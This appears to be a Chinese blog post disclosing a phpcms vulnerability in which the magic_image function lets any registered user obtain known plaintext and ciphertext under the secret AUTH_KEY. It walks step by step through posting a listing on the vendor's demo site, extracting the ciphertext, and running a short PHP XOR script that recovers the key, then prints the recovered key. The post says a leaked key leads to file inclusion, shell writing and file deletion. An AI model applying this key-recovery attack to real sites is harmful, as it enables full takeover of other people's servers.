phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞

phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞

phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。

而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。

已经说明了两个破解"phpcms_auth函数的加密密钥AUTH_KEY"的方法,但是还不是很理想,最理想的是直接给我们足够的明文和密文。

是的开放的phpcms真的给我们这样的了,没有保留。



上一篇说到"破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。"

其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。

来看magic_image函数,主要作用就是将字符串生成一个图片,这样做应该是为了防止别人采集网站上的数据,或者是防止泄漏隐私。

// include global.fun.php



function magic_image($txt, $fonttype = 4)

{

    if(empty($txt)) return false;

    if(function_exists("imagepng"))

    {

        $txt = urlencode(phpcms_auth($txt, 'ENCODE', AUTH_KEY));

        $txt = '<img src="'.PHPCMS_PATH.'magic_image.php?gd=1&fonttype='.$fonttype.'&txt='.$txt.'" align="absmiddle">';

    }

    return $txt;

}

在招聘、供求信息、跳蚤市场等多个功能模块都用到了这个函数。而且像供求信息、跳蚤市场貌似普通注册用户就能发贴。

发贴的时候在电话号码或邮箱那的字符就会被magic_image函数加密,显示给用户的时候又会调用magic_image.php文件,对字符串解密并进行生成图片。

就是说:

我们可以自定义明文

并且我们也可以得到明文加密后的密文


这就意味这我们可以得到全部密文(只要电话或邮箱的长度大于20位即可),不费什么力气。


举例说明

1.在http://demo.phpcms.cn随便注册个普通用户会员

2.在跳蚤市场那

http://demo.phpcms.cn/info/sale/

随便点开一个信息页点右侧的 【免费发布信息】 http://demo.phpcms.cn/contribute.php?catid=22

随便发一条信息

使用邮箱为

xxxxx@gmail.com

3.最后找到我们发布的信息:

http://demo.phpcms.cn/2011/0405/366.html

查看邮箱图片的地址

http://demo.phpcms.cn/magic_image.php?gd=1&fonttype=4&txt=ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D

--------------------

好了

明文:xxxxx@gmail.com

密文:ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D



解密一下:

<?php

$key="xxxxx@gmail.com";

$txt='ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D';

$txt=base64_decode(urldecode($txt));



for($i=0;$i<strlen($key);$i++)

{

        $code  .= $txt[$i] ^ $key[$i];

}

echo $code;



?>

运行结果:

$ php /var/www/vul.php

OXdcFVodxAcbCUeTgLBgOXdc



我们的密钥就是:

OXdcFVodxAcbCUeTgLBg

posted @ 2015-10-09 10:42  小生观察室  阅读(2529)  评论(0编辑  收藏  举报